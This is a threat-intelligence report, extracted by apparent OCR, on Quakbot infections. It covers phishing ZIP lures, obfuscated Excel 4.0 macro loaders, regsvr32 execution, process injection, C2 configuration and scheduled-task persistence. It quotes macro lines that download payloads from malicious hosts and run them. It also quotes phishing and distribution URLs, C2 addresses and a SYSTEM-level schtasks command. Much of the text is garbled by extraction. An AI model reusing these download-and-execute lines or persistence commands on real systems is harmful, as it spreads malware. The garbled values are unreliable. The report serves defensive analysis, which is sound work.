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A Duck Nightmare

Quakbot Strikes with QuakNightmare Exploitation

By: Max Malyutin — Orion Threat Research Team Leader
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After nearly two months of “summer vacation”, Quakbot is back with a new set of skills and tricks. We have
handled several incident response cases where Quakbot infected organizations through an email as the initial

access vector (malicious spam distribution campaigns) to deliver a weaponized Microsoft Office Excel document.

We found that Quakbot threat actors exploited the PrintNightmare vulnerability (CVE-2021-34527 — “Windows

Print Spooler Remote Code Execution”) in the later stages of the attack to perform privileged file operations and
code execution via the Windows Print Spooler service. Quakbot also used credential theft functionality to steal
Outlook passwords intended for internal spear-phishing, luring users to interact with the malicious emails to infect

additional assets.

The threat actors also deployed Cobalt Strike beacons which allowed them to launch human-operation activities
such as lateral movement, discovery, privilege-escalation, etc.
These actions serve two main objectives — exfiltration of sensitive data and setting up the stage for ransomware

execution.

Quakbot Overview

Quakbot (also known as Qabot or Qbot) is a modular Banking Trojan, active since the end of 2007. Quakbot
originally targeted financial sectors to steal credentials, financial information, and web browser data by using web

injection and browser hooking techniques that allowed it to “redirect” API calls to intercept financial data.

In the last two years, Quakbot’s targets expanded beyond the financial sector. We have observed victims from the
IT services industry, telecommunications providers, manufacturing facilities and infrastructure companies.
Quakbot threat actors upgraded the range of malicious capabilities and functionality to evade detection and spread

via different lateral movement techniques.

In this same period, we also detected Quakbot infections that include ransomware executions. During our threat
intelligence activities and incident response cases we observed instances where Quakbot delivered REvil (A.K.A

Sodinokibi) and Egregor ransomware.

Case Overview

In this report, we will go through Quakbot’s execution tactics, techniques, and procedures (TTPs), and present

different behaviors, methods, tools, and strategies used by threat actors.

During the Cynet Orion Research Team’s continuous campaign hunting cycle, we have observed an increase in
malicious email campaigns using Quakbot. Additionally, we have responded to incidents where companies asked

for Cynet 360 assistance in Quakbot infections.
The Quakbot infection has two initial execution paths. We gave them the following names:

1. Datoploader

2. Relativeloader

As with many infections across organizations today, threat actors obtained an initial foothold through malicious

email campaigns that lured users to interact with malicious links or attachments.
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In both cases, a malicious link (lead to a ZIP file) or a direct attachment in the malicious email leads to the next
step of the infection — a weaponized Office document. The weaponized Office document contains macros code

(macro 4.0 XLM) that executes when the user clicks on “Enable Content”.

The macro execution leads to multi-stage malicious actions that include a command-and-control (C2) connection,
download of malicious payloads, and execution of commands.

Quakbot threat actors use several Defense Evasion (TA0005) techniques, such as process injection, masquerading,
Fileless executions, etc. to bypass security solutions such as anti-virus and EDR.

The malicious macro code executes the payload by abusing the legitimate Microsoft file Regsvr32.exe. This type
of procedure is also known as LOLBin (Living Off the Land Binaries), where threat actors abuse legitimate
Microsoft files instead of bringing their own malicious files. These LOLBins files could be abused for proxy

execution of processes to bypass whitelisting policies, credential dumping, discovery, and more.

Quakbot Initial Access Execution Flow

o Execution (TA0002) User Execution (T1204) — the victim interacts with the malicious link or attachment

(weaponized Office document).
o The victim interacts with the weaponized Office document and enables the macros.
o Defense Evasion (TA0005) Signed Binary Proxy Execution: Regsvr32 (T1218.010) — DLL payloads

downloaded from C2 server and executed via regsvr32.

Execution flow 1 : Excel > Regsvri2
Regswrdl command lime:

regavrl2 -silent | \[random].[random
9 ; M ] Relativeloader

& —RN—E—

Execution flow 2: Excel > Regsvri2
Regsvri2 command line:
regsvriZ.exe C:\Datopltest.test

Datoploader

The Quakbot payload executes multiple actions including process hollowing injection, Outlook credential theft,

Cobalt Strike beacons, and Fileless persistence via registry.
For the first time, we have observed PrintNightmare exploitation in Quakbot infections.

You can find an analysis of PrintNightmare at the end of this report.

MITRE Attack Tactics and Techniques Coverage
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Technical Analysis: Initial Access and Execution

Update by Kevin Beaumont — “Something is going on with Qakbot which alters detection/threat landscape in
past week.”

It seems that threat actors abused enterprises and corporations that are using MS Exchange on-prem in order to
distribute malicious emails. This led us to suspect that Proxyl.ogon and ProxyShell vulnerabilities are being
exploited. These vulnerabilities allow Quakbot threat actors to bypass email security policies and propagate

Quakbot infections.
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% Kevin Beaumont &

A\ Something is going on with Qakbot which alters
detection/threat landscape in past week 4\

Seeing emails arrive from high quality companies with
MS Exchange on prem, also via Proofpoint and
Messagel abs.

This is causing emails to bypass usual email filtering for
spam.

¢ ProxyLogon — CVE-2021-26855, CVE-2021-27065
e ProxyShell - CVE-2021-34473, CVE-2021-34523, CVE-2021-31207

Quakbot “TR” infrastructure stands for the distribution actor name that distributes malicious spam campaigns.

This name was given by researchers, who also named the actor “ChaserLdr.”

MalwareBazaar Database

Samples on MalwareBazaar are usually associated with certain tags. Every sample can associated with one or more tags. Using tags, it is easy to navigate through the huge
amount of malware samples in the MalwareBazaar corpus. The page below gives you an overview on malware samples that are tagged with

Database Entry

Toge oaz=m
Firstseen: 2021-02-09 16:44:31 UTC
Lastseen: 2021-10-28 06:29:07 UTC
Sightings: 79

MalwareBazaar Database monitoring TR tag

Malicious emails are sent as part of phishing campaigns and contain a link to a compromised URL which leads to
the ZIP file. The threat actors’ motivation is to lure the victim to interact with the phishing email and download the
ZIP file.
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Re: carta da verificare

Buona giornata.

Si prega di dare un'occhiata a tutte le risorse e informazioni.

https://ktelecomm.com/rerum-voluptate/velit.zip

Buona giornata.
Ti chiedo di cercare informazioni importanti e fammi sapere il risultato finale. Sotto inviare la richiesta ufficiale.

Inviato: giovedi 14 ottobre 2021 10:33

. ]
Oggetto: [EXT] Re: R: E/C Fatture insolute

https://pakvitae.org/corporisquia/quoomnis-141333632

L

Here is a URL search on TR campaign URLs that distribute Quakbot ZIP file:

Show 50 8

2021-11-03
2021-11-03
20621-11-03

H021-11-03

20211103 11

2021-11-03 1

20211103 1

20211103 1

2001-11-031

20271-171-03 1

20241103 1

Malware URLs

Lot 1

Dateadded (UTC)

1326100
132807
13274089
13:2709

0E08

2021-11-0F k4T

2021-11-03 104724
2021-11-03 100871
2021-11-03 10470

2021-11.03 10:4TA2

2024-11-03 104711

The table below shows all mabsare URLs that ane associated with this partioular tag [man 1000

Ratu

nooooeoooo0o0000000

Search

=== - < - = = < = - -

https://urlhaus.abuse.ch/browse/tag/TR/
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The ZIP file contains the weaponized Excel document. We have identified several unique patterns of the

weaponized Excel document names, including:

e miss-[0-9]{9}.xls

e trend-[0-9]{7}.xls

e charts-[0-9]{10}.xls

e Claim-Copy-[0-9]{10}.xls

e Service-Interrupt-[0-9]{10} .xls

2021-10-24 31 /60 MS Excel Spreadsheet Claim-Copy-119247627 7 xls
2021-11-02 32 /860 MS Excel Spreadsheet  Claim-Copy-210277557 3.5
2021-10-18 20 159 MS Excel Spreadsheet  Claim-Copy-2013124710.x1s
2021-10-18 20 /58 M3 Excel Spreadsheet  Claim-Copy-504955833.x1s
2021-10-18 20 /58 MS Excel Spreadsheet  Claim-Copy-1910702662 50
2021-11-02 31760 M3 Excel Spreadsheet  trend-576239863.xls
2021-11-02 29 /58 MS Excel Spreadsheet trend-456%960.xls
2021-10-29 28 /59 MS Excel Spreadsheet  Service-Interrupt-327500047.xls
2021-10-29 30 159 MS Excel Spreadsheet  Service-Interrupt-1989206092 x5
2021-10-29 327160 MS Excel Spreadsheet Service-Interrupt-1898549781.xls
201-10-29 30 r&0 MS Excel Spreadsheet  Service-Interrupt-780515740.xls
2021-10-29 30 /&40 MS Excel Spreadsheet  Service-Interrupt-2083081355.x1s
2021-10-27 30 f &0 MS Excel Spreadsheet Service-Interrupt-1482319274 xls
2021-10-29 29 &0 MS Excel Spreadshest  Service-Interrupt-516214325 xls

The weaponized Excel document (Datoploader maldoc) contains a fake Microsoft Office template message which

lures the user to click on two messages:

1. Select “Enable Editing” — Protection View message

2. Select “Enable Content” — Security Warning message
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I SECURITY WARNING Macros have been disabled. Enable Content
Al - I
R

1
z
3
4 -
s o This document protected by
6 - .
; Microsoft Office
]
10
1
12 |
13
14 TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:
15
15
17 | ® Select Enable Editing *
18
;z @ PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless you need to edit, it’s safer to stay in Protected View.  Enable Editing
2|
22|
i:- ® |In the Microsoft Office Security Option dialog box, select Enable Content #
x|
26 acros have been disable nable Content
277_ @ SECURITY WARNING M. have b disabled. Enable C
28|
23|
:2’ D-)I; If you are using a mobile device, try opening the file using the full office desktop app.
32
3|

Datoploader maldoc

The weaponized Excel document (Relativeloader maldoc) contains a fake DocuSign template message which

lures the user to click on two messages:

1. Select “Enable Editing” — Protection View message

2. Select “Enable Content” — Security Warning message

Page 8 of 33


https://www.cynet.com/wp-content/uploads/2021/11/Screenshot_5.png
https://www.cynet.com/wp-content/uploads/2021/11/Screenshot_5.png

https://www.cynet.com /attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/

I SECURITY WARNING Macros have been disabled. Enable Content -+
Al v fe
A B c 1] E F G H | J K L M N | 0O P @ R s T u ¥ W % Y

il ]

2 -

; DocuSign

4 {

5 {

&

T THIS DOCUMENT ENCRYPTED BY

8

3 DOCUSIGN® PROTECT SERVICE
10
1
2 x .
B This steps are required to fully decrypt the document,
| encrypted by DocuSign
5
% |
i o - . ’ - y .
P 1. If this document was downloaded from E-mail, then please click "Enable editing” in the yellow ba
1 above
:? example of notification
22| Q) rroTecTiowamING This ke criginated from an interne location and might be unsafe. Cick for more detas, | Enable Edting ) - —
23
24 2 : 3 ¢ ¢
25 2 to “Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the
26| ¢
:; example of notification
23 | ( v SECURITY WARMING  Macros have been disabled. Enable Macros ) <3
30
3|
32
:3 Why | can not open this document?

4
:: - You are using iOS or Android device. Please use Desktop PC.
37 = You are trying to view this document using Online Viewer.
38
33|
40
4 .. . .
a| v Norton B \icrosoft I:l Office
44
45
46 © DocuSign Inc. 2021
41
43

Relativeloader maldoc

Both weaponized Excel documents — Datoploader and Relativeloader — contain malicious macro code. Threat
actors crafted these weaponized Excel documents with several tricks to bypass security detections and security

researchers’ complex analyses.

Datoploader contains macro version 4.0 XI.M. These macros hide in different Sheets and hide the macros in a

white font with highly obfuscated code. Evasion techniques include:

e Hiding sheets in the document

o Hiding Excel 4.0 macros in different sheets

e AutoOpen function — run a macro when Excel starts

e Hiding the macro formula by applying a white font color

e Obfuscation and scrambling of the macros in deferent sheets
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17| ® Select Enable Editing

0]
2| X

®|n

Ok

27' E
31| 0>l

She_.

This document protected by

Microsoft Office

0

TO OPEN THIS DOCUMENT PLEAS Unhide ?

otion di

Unhide sheet:

ble Content

il - files from the Internet can contain viruses. Unless
Insert...

Delete

Rename

ffice Security O , try opt

Move or Copy..

View Code

cros have been d led.  Enable Content

Sheet |

Protect Sheet...
Tab Color
Hide

Unhide...

g a mobile device, try opening the file using the full office desktop app.
e

Select All Sheets

Hiding Excel 4.0 macros in different sheets

[Auto_open
ERFW
GRRG
LALW
RFWF
RTWE

| sheet | sburt | sbur2 | sbur3 | kon | DEFws | DEFw2 | DEFW | sefft

Beff2 | Beffs | Beff4 | Beffs | Beff6 | Beff7 | Beffe |

®

Auto_Open function
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A B <

6
7
8 nel32","c
9 ‘\Datop",0)

15 i "URLDownloadToFil

16 Imon",
i "Sh

23 1132","sh

27 lIExecuteA","))

29 "h"&"t"&"t"&"p"&"s://taketuitions.com/ "h"&"t"&"t"&"p"&"s://0el.tg/MSOFJhOEXRRE/|.h" &"t"&" m" &"I","
30 egsv

Obfuscation and scrambling of the macros

Relativeloader also contains macro version 4.0 code and a VBA code that protects with a password. Evasion

techniques include:

e Hiding sheet in the document

e Hiding Excel 4.0 macros in sheet

¢ VBA code protect with password

e AutoOpen function — run a macro when Excel starts

e Hiding the macro formula by applying a black font color

e Obfuscation and scrambling of the macro
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a Microsoft Visual Basic for Applications - quak.xls [design]

| File Edit View Insert Format Debug Run Tools Add-Ins Window Help
ME-d s aaalr¢r» 1 aR]EEY 21O
e as EI VBAProject Password
= = (5] & :

&% VBAProject (99a9197ba:
+- &% VBAProject (quak.xls)

Password

VBA code protect with password

Al

1 T

Macro ? X

n Macro name:
quak.xls!Moduleé.auto_open ‘_ Run
quak.xls!Moduleb.auto open A

quakxls!Thisworkbook.applyLogosToDashboard

ENCRYP]

GreEate

TECT SE baiete

Options,,

u“y decrypt Macros in: | All Open Workbooks
'y Docusign Description

Cancel

h please click "E

|notiﬁcation

N

Auto_Open function
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Hiding sheet in the document

Nneeri_| Sheetl ®

Hiding the macro formula by applying a black font color

Page 13 of 33



https://www.cynet.com/wp-content/uploads/2021/11/Screenshot_13.png
https://www.cynet.com/wp-content/uploads/2021/11/Screenshot_13.png
https://www.cynet.com/wp-content/uploads/2021/11/Screenshot_14.png
https://www.cynet.com/wp-content/uploads/2021/11/Screenshot_14.png

https://www.cynet.com /attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/

Nneeri | Sheetl O <

Ready

Hiding Excel 4.0 macros in sheet

Update (04/11/2021): We observed a new payload name. Threat actors now name the payload:

e good.good
e goodl.good
e good2.good

For the new payload named good.good, here is the macro code with the new format:

1/ SECURITY WARNING Macros hove been disabled. | Enable Content

sheet | sburt | sburz | Sburd | Kon | DEFw3 | DEFW2 | DEFw | Beffi | Beff2 | Betfs | Beft4 | Beffs | Beffs | Betf7 | geff T

CALL("Kernel32","CreateDirectoryA","CJ","C:\Datop",0)
=CALL("urlmon”,"URLDownloadToFileA",")JCCBB",0,"h" &"t" &"t"&"p"&"s://de"&"cin" &"f" &"0.co"&"'m.br/s4h"&"fZyv"&"7NFEM/y9.h"&"t"&"m"&"1","C:\Datop\good.good",0,0)

=CALL("urlmon","URLDownloadToFileA","JCCBB",0,"h" &"t"&"t"&"p" &"s://im"&" pri"&"mi"&"ja.co"&"m.br/B"&" 122" &"Im" &"3/y5.h"&"t"&"m"&"I","C:\Datop\good1.good",0,0)

=CALL("Shell32","ShellExecuteA"

CCN",0,"open","regsvr32","C:\Datop\good.good",0,5)
=CALL("Shell32","ShellExecuteA","1JCCCI",0,"open", "regsvr32","C:\Datop\good1.goed",0,5)

=CALL("Shell32","ShellExecuteA","1JCCCII",0,"open","regsvr32","C:\Datop\good2.good",0,5)

CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"h" &"t"&"t"&"p"&"s://st"&" unn"&"in"& "gma"&"x.com/)"&"R3"&"xN"&"s TW" &"7W"&"m1/y1.h"&"t"&"m"&"I","C:\Datop\good2.good",0,0)

Relativeloader and Datoploader highlight keys in the macros code:
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Artifacts

Kernel32 CreateDirectoryA
Urlmon URLDownloadToFileA

Shell32 ShellExecuteA

C:\Datop\test.test
C:\Datop\test1.test
C:\Datop\test2.test
C:\Datop\good.good
C:\Datop\good1.good

C:\Datop\good2.good

regsvr32 -silent ..\[RandomFileName].

[RandomFileName]

regsvr32.exe C:\Datop\test.test

http://[IP]/[0-9]{5}.[0-9]{10}.dat

Description

WIinAPI functions use to download file, create a new

directory, and execute process

New directory where payload drop.

good.good is the new version payloads name

Regsvr32 execution command

C2 sever pattern for Relativeloader maldoc

Threat actors abuse Regsvr32.exe (MITRE T1218.010) to proxy execute the malicious payload dropped by the

macro execution.

Technical Analysis: Persistence and Defense Evasion

Regsvr32.exe is a legitimate Microsoft file responsible for registering DLL files as command components in the

registry. This file is also classified as a LOLBin with application whitelisting (AWL) bypass and execute

capabilities.
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LOLBAS ¥ Star 3,590

Living Off The Land Binaries, Scripts and Libraries

For more info on the project, click on the logo.

If you want to contribute, check out our . Our sets out what
we define as a LOLBIn/Script/Lib

If you are looking for UNIX binaries, please visit

MITRE ATT&CK® and ATT&CK® are reqistered trademarks of The MITRE Corporation

regsvr32

ATT&CK®

Binary Functions Type Techniques

Binaries

LOLBAS Project

Quakbot execution flow — Relativeloader:

Execution flow 1 : Excel > Regsvr32
Regsvr3d2 command line:

regsvri2 -silent .\[random].[random] Relativeload
elativeloader

é —)—»E—)

Malicious Excel macro call process creates (FEXEC) action in order to execute regsvr32 command:

EELNRI YAG| & 7L/ BE DM

Time ... Frocess Name PID  Operation Result
3021... EJIEXCEL EXE 8572 o2 Thread Create SUCCESS
J02:2 |EXCEL.EXE 8672 <P Process Create ChWindows \SysWOWES regawr 32 exe SUCCESS
3022 | EXCEL.EXE 5572 o Process Creale ChWindows \SysWOWEL regavr 32 exe SUCCESS
3022 Y EXCEL EXE 5572 <2 Process Create CiWindows ' SysWOWBES \regawr 32 exe SUCCESS
3022 |EXCEL.EXE 6572 <O Theead Create SUCCESS

The regsvr32 command executes the payload with -silent parameter:

regsvr32 -silent .\Lifas.ver
regsvr32 -silent ..\Lifas.verl

regsvr32 -silent ..\Lifas.ver2
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Quakbot execution flow — Datoploader:

Execution flow 2: Excel > Regsvri2
Regsvrid2 command line:
regsvri2.exe G\Datopitesttest Datoploader

& ~R——fi—w

Malicious Excel macro calls process create (ShellExecuteA) action in order to execute regsvr32 command:

EEUIRE YHAO & # P 1HE D MW

Time Process Hame PID  Opseraton Pathi eyl Destnd

kL] EXCEL EXE 4528 P Process Creste Coirdows Sy WO W B rrgar 12 ene SUCCESS PID: 3284 Comma
55 EXCELEXE 4528 <7 Process Creste Co W indows Sy WOV EL vegen 3 eme SUCCESS PID: 277E. Comma
X155 EXCEL EXE 4578 o7 Frocess Creste CoWindows Sy 'O EL wegenr 12 eme- SUCCESS PID: 3456, Comma

CAWindows\SysWOW64\regsvr32.exe C\Datop\test.test
C:\Windows\SysWOW64\regsvr32.exe C:\Datop\test1.test

C:\Windows\SysWOWe4\regsvr32.exe C:\Datop'test2.test

38 [4 [ = | OSDisk(Cy) -
Home Share View

< < ¢ @ (I o< (C) > v &  Search OSDisk (C
=
Name Date modified Type Size

# Quick access
%] Documents o+ .

SRecycle.Bin 1 File folder
-‘ Downloads Datop A Filefolder <
=] Pictures & Deocuments and Settings File folder

In both cases, the Quakbot execution flow executes the regsvr32 process three times in order to load masqueraded

DLL payloads (test, good, random).

) EXCEL.EXE (5572) Microsoft Excel C:\Program Files {... Microsoft Corporat ...
i splwow64 exe (1624) Print driver host fo... C:\Windows\splw... — Microsoft Comporat...

# regsvr32.exe (6192)
# regsvr32.exe (3448)
# regsvr32.exe (1188)

Microsoft(C) Regis... C:\Windows\Sys... | Microsoft Corporat ...
Microsoft(C) Regis... C:\Windows\Sys... | Microsoft Corporat...
Microsoft(C) Regis... C:\Windows\Sys... | Microsoft Corporat...

v,

Process tree flow (Relativeloader and Datoploader)

In this step, the machine is fully compromised and infected and Quakbot is ready to strike with the next attack

techniques. We discovered that the next step is process injection.
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e =P

-] & regsvrl2.exe (4588)
lorer.exe (5160)

Windows BExplorer

Microsoft(C) Regis... C:\Windows\Sys...
C:\Windows\Sys...

éfr' Event

Date:
Thread:
Class:
Operation:
Result:
Path:

Duration:

PID:
Command line:

{CE}' Process £ Stack

11/3/2027 3:56:48.26975%9 P

4532

Process

Process Create

SUCCESS

CWindows\SysWOWed\ explorer.exe
0.0000000

5160

CAWindows\ SysWOWES explorer.exe

Quakbot uses CreateProcessW to create a new process. By default, Quakbot creates an Explore.exe process. There

are two other process which could be injected during the infection:

* msra.exe

¢ OneDriveSetup.exe

¥ regsvi32.exe - PID: 3900 - Module: kemel32.dIl - Thread: 4984 (switched from Main Thread) - x32dbg [Elevated] 9
Fie Vew Debug Traong Plgns Fovourites Optons Help Apr 17202 o
LoE S0 8 9y tal ISP a Be
Bou g Notes  ® peaponts  EMvemoryMap  (Jlcalst  Sised  [oisopt  Bsmbok <2 Souce S References W Tweads dlirondes ¢ Trace
o GG Createrrocessw N CEDET
sazc mov e ax <stond {brary>
FF2s Esl4aE76 JMp_dword prr ds:[<eCreateProcessWs] | JMP.&CreateProcessi £ L7CE\\WT NGNS\ SYSHONE\\ exP10r €r , €Xe" e
cc ines
123 int3 epx
123 s ser -
& s ese ao
23 it es1
13 ncs 01 0
cc nts
c s <kernel32.createproce:
oo e ere kernels2.create w
23 i ErLAGs 0000345
23 incs 2F1 PEL AF O
a3 e 60 sFo OF O
& nts cFo I
cc nts
cc nts LastError 00000012 (ERROR_NO_WORE_FILES)
13 1nt3 LastStatus CODO0100 (STATUS_VARTABLE_NOT_FOUND)
123 nts
< s G5 0028 Fs 0053
o €5 0028 DS 0028
sarr v ed FindACTCTXSEcTionSTringn
[ oA Cs 0023 ss o028
=3 oV €bp,esp &
) pop ebp s
~ FF25 781776 B duord per s [<AFINIAEICEXSEEETONSE| P . &F INJACECTXS eCT 0NSTr1 NgK
cc i) 1: [esp+4] 00000000
cc s 2 +5] 04SAFCCO L7C:\\Windoms\\SySWOWGs\\explorer . exe™
& nes 31 fespic] ooooooon
23 ints v|3: [espri0] 00000000
> |5i fespr1s] ooonoooo
-TeXE:76A7BEFE kernel32.d11:$188F8 49878
P GEFIAREA| T€TUTT T0 1047 500CT27 6306437 2028407 1D2CosaRIbIACIIE A ST01. 667,
@oum1  @oup2  WWoump3  Whoumpd  @oups @ wachi  kellos st 00000000
YASGiE n O4SAFCCO| retiirn to 04SAFCCO From D49E1AC2
- 500000
00000000
[ Time Wasted Debugang

CreateProcessW for Explorer.exe, msra.exe, OneDriveSetup.exe

The Regsvr32 (initial Quakbot loader) process opens a handle (0x1fffff == Full control) to the created Explorer

process in order to allocate memory for the malicious code.

WriteProcessMemory function — Writes data to an area of memory in a specified process. The first parameter is

hProcess (PID of the target process) and the third parameter is the IpBuffer (the buffer that contains data to be
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written in the address space of the specified process). After the WriteProcessMemory WinAPI function, the

Quakbot malicious function executes and injects PE code inside the RWX page of the targeted Explorer process.

W regsvrid.exe - PID: 6412 E g — [m] .o : e e o %
Fie View Debug Tradng Pugins Favourites Options Help Apr 17 2021 (TitanEnaine) Hacker .
™ 5 NS T = - . a elp
COE il tdHs taBISeehr nLEY % Refresh <3 Options > [Scarch Processes (Ctl-K) 0
Bcu  [Flog [Jnotes @ predponts M memoryMap [ CalStack  SgseH  [ofsaipt S symbok O Souce S References W Thveads  MHandes | §7 Trace Processes Services Network Disk
=== ~ 74 14 Jje quak.70BO8GE4 i
d sass oc mov edxdword ptr s=:[febp+c] [ebp+c] in s) ! Lrls Fel Name PID  CPU I/Ototsl
! [ & EAX 04890000 “mzE Cal
! N z| -
; aer e G5 7000100 qua.7osooio0 L 0 o0
i 8A0A mov <Tbyte prr dsifed = oFm T (& System 4 on
ss0cz mov byte ptr Fredx] 2 7082 0
a2 T inc Zéx e b EBF  04ESFED( (0] smss.exe 360
83EE 01 sub esi,i ESE  04B5FB3s 1864
~ 75 Fs Jne quak.70808608 ESI  04C80480 |r| |
£ Bl EDI 70800000 045
P
s bop =op erp  cososece | Genersl  Statsics  Performance | Threads  Token  Modues 108
i Lo Memory | Envirorment  Hendes GPU  DiskandNetwork  Comment 428
= pushishe ErLacs 000002 o
8845 OC mov eax,dword ptr Larnd oo Lo
e . OF 0 sF 0 DF | [tide freeregions Strings... Refresh 6204 028 3TkB/s
e o TFoO I o
o
A Lasterror oooo| | Base address Type Sze Protec s,
3870 mp es1,eax Laststatus C000|
v 76 1E {oe avak. 70077 0xc0000 Private 1818 RW 2200 055
803C10 ea edi,dword ptr ds:[eax+edx] edi 8k8 RW 5020 0.04
38F7 cmp esi,edi ~ds| BT explorer.exe (6528) (0x1c0000 - 0x 1¢1000) - =] X 16k R v
v 73 17 ae quak.7ososraz 595 204 266.06kB..
80D4A EE ea ecx,dword prr ds:[edx-1] 25648 RW
oxe ackdfecx; sl 00000000 [ 00 00 04 00 00 00 ££ ££ 00 O ~ ssie nw | [NEZBNNGHE
8502 sest enenx ~4il 60000010 bs 00 00 40 00 00 00 00 80 00 O 1818 R 580
v 74 20 e quak. 70808724 00000020 00 00 00 00 00 00 00 O
1[ed] R 3236 039
e 2 P T di| 00000030 00 00 00 00 00 01 00 O . 1:: o | P
49 dec ecx : 00000040 21 be 01 4c cd 21 54 6 .. n
Eo dec edi ~di| 00000050 61 6d 20 63 61 ée e ¢4 is program canno
o T — 00000060 20 65 6e 20 44 4f 53 2 ¢ be run in DOS pmit
- E8 13 3t Quak. 7080872 00000070 & 24 00 00 00 00 00 00 © . .
8502 Test edx.ed 00000080 94 45 2 £2 84 45 Ga & 2,088 RW
00000090 31 30 8b e3 86 45 Ba e 40088 WCX
00000020 90 2e 3b e3 95 45 Za e 3276818 NA
00000050 31 30 82 &3 96 45 8a y ¥
| TeXT170808656 quak.d11:$EEEE #7AEE 000000c0 o1 49 85 a2 85 45 8a & LETHE WX
o 5 000000d0 3130 83 &3 bb 45 2a = 8 R
Woump1  Gpump2  WEDump3  EMDumo4  Woumps @ watchi  [x-llocals Y Stuct 0000000 3130 85 o3 85 45 8a 1908 R
Address | Hex ASCTT 000000£0 00 00 00 00 00 00 00 O 48 R
70800000| 4D 5 00100 b £1 51 6
e ST, ) UUUUUlU\VJ :b £1 fl &L Ef Ug 00 o 48 R
70800020/ 00 Ob 01 Ce 1d 00 68 0L O 2,097,216k6 R
70BOO030 | 00 . €3 5£ 00 00 00 10 00 Of
2,147,483,... NA
70800030 85 7% 20 F| 52 brosraa canna 90 10 00 00 00 02 00 0 20048 WX
70800060 | 74 © be run in DOS 06 00 00 00 00 00 00 Of !
;ESEEEQE = 00 00 00 00 02 00 00 O 5
o 00 00 10 00 00 10 00 O
70800040 90 00 b 01 00 54 00 00 O
;ESEEQES 5; 00000150 00 00 00 £0 01 00 £c 04 00 0o . Close.
K DBoomno| bl ke 00000190 G 00 00 00 00 00 00 00 00 00 of .
< 00000120 Oc 00 00 cO be 01 00 38 00 00 04 . ol v
Command | 1 abse Reead it Goto.. | |i6bytesperrow v save... £ 2
I\ Paused | quak.dl: 70800000 > 70800000 (00000000 L bytes) CPU Usage: 420%  Physical memory: 1.71 6B (42.78%) Processes: 1

ret value contains the injected code to Explorer process

Note: Explorer process executes most of the time from C:\windows directory and not from
C:\windows\Syswow64\. Additionally, thanks to SANS DFIR — Find Evil — Know Normal’s poster, we can

confirm that the legitimate parent process of Explorer.exe is userinit.exe. In a Quakbot infection, the parent

process of injected Explorer process is Regsvr32.

I"I explorer.exe

Image Path: ¥SystemRoott\explorer.exe
Parent Process: 1instance of userinit.axae that ex 5 100 sually not prr

p, the Start
tcut files. Explorer.exe 15 the default user interface specifie
raoft\Windows NT\CurrentVersion\Winlogon\Shell, l
interface such as smd . axe OF powerahall . axe i
¥SystemPootd directon
#n the optior

After examining the injected explorer process, we have found the C2 configuration in clear text format in the

memory:
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B Feduli - explodes.exe [4356) -—

Wy repulty.

Address Length Rt

| G S5 3Tl 5 Fatps:; [ 103 14, 120, 14404

O 356360 52 hattps: {111 125, 245. 116/t4

O BEE5 10 ] Pt (65, D00 17, 1104
OG5 78 50 hittps:f 0L 142, 30, 174

O IEE6630 -+ Patpa: {309 12 111, BAt4

(O B4 708 &0 hatps: 124, L1042, 1 15: 222204
[ ] hatps: i 302 250,38, 11504

G DESBGH0 ] atps: 24, 231, 209, 15 32100/t4
3565100 L] hatps: {24, 139, 72 11 7/t4

G DR 50 Pt 181 118, IR

O IEEH580 L] hittps: 2. 222, 167, 138t4
CxIEEHTH 56 et 24,231, 200, 2: 1234
(O BbBa 120 L] hitps: 24, 136, 72 117/t4
(3558170 55 Patps: 24,231, 2069, 2: 205384
G Bisa 55 ] hatps: [ 107, 250, 155, 1044

(O EER 380 50 hatps: 65, b0, 174, 11014

O i) &0 Rt [ 124, 133,42, 115 222N
i 52 hitps: i 303 148, 120, 1444

O 3564198 4 Pt 0, LG 2 S R
e h] a bt 805, L2 100 B4/t4
(554680 ] Patpa: 81,241, 252 55: 20TE/t4
O DS ] htps: [ 187 T80, 160:550 4
[ 52 hittps: 111 L35, 245, 116/84

O B} 1] Rt 1200 150, LR M4 LSRN
i ] 54 hatps: {4186, 42. 5819954
[T 5 Pt [ 187 P5.56, 160:005 84
w367 1had L] hitps: 24, W07, 165,50/t
Ce3E72I38 5% PRt {45, 46, 53 140: 22284
Ou BT ] hatps: 37, ILT. 190, 9 2222104
O IETIEAR 50 htps: i 302 142, 50, LT
Cr3¥IIN0 5 Fatps: (66,2146, 193, 11474
OwIET4188 50 htps: {123 200,40, 134

O BE TG 50 Pt [ 6B L5, 1. 430 %4
[t 55 hitps: 24,231, 209, 21688184
Cx3I57STE0 52 PRipa: 205 200, 162 15844
O34 TT08 L] https: [ 105, 158, 206,95,

[ 50 htps: [ 302250, 38, 11504

G 38R dch) ] atps: 111 125, 245, 11684
OISR + Pt 7L AL L2 344

ok o] ] Pt i 123 200 44, BicEEA L
Ou3E7R08 50 hitps: [ 187, 156, 163,689
OxEMET100 ] Pt [ 111 135, 245 1 164304
o P ¥t TR 52 bt 111 135, 345, 11644

We have spotted that Quakbot C2 servers’ pattern is https//[IP]/t4

The injected explorer process creates a Scheduled Task (Scheduled Task/Job: Scheduled Task — T1053.005) with a

random name to perform privilege escalation and persistence on the infected machine.

Scheduled Task creation command:

schtasks.exe “/Create /RU “NT AUTHORITY\SYSTEM?” /tn [TaskName] /tr “regsvr32.exe -s
\”C:\Users\*\AppData\Local\Temp\[payload].dII\*” /SC ONCE /Z /ST [Time] /ET [Time]
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Name Status  Triggers Next Run Time Last Run Time Last Run Result
L&) ejqvokmzj At 5:03 PM on 11/3/2021 - After triggered, repeat every 10 minutes indefinitely. Trigger expires at 11/3/2021 5:15:00 PM. 11/3/2021 5:13:00 PM (0x3)
(® GoogleUpda... Disabled Multiple triggers defined 11/4/2021 £:40:19 AM  11/30/1999 12:00:00 AM  The task has not yet run. (0x41303)
(® GoogleUpda... Disabled At 4:40 AM every day - After triggered, repeat every 1 hour for a duration of 1 day. 11/3/2021 5:40:19PM  11/30/1999 12:00:00 AM  The task has not yet run. (0x41303)
® MicrosoftEd... Running Multiple triggers defined 11/4/20219:53:13 AM  11/3/2021 9:53:14 AM The operator or administrator has refused the request. (0
@ MicrosoftEd... Ready At 9:23 AM every day - After triggered, repeat every 1 hour for a duration of 1 day. 11/3/20215:23:13PM  11/3/2021 423:37PM  The operation completed successfully. (0x0)
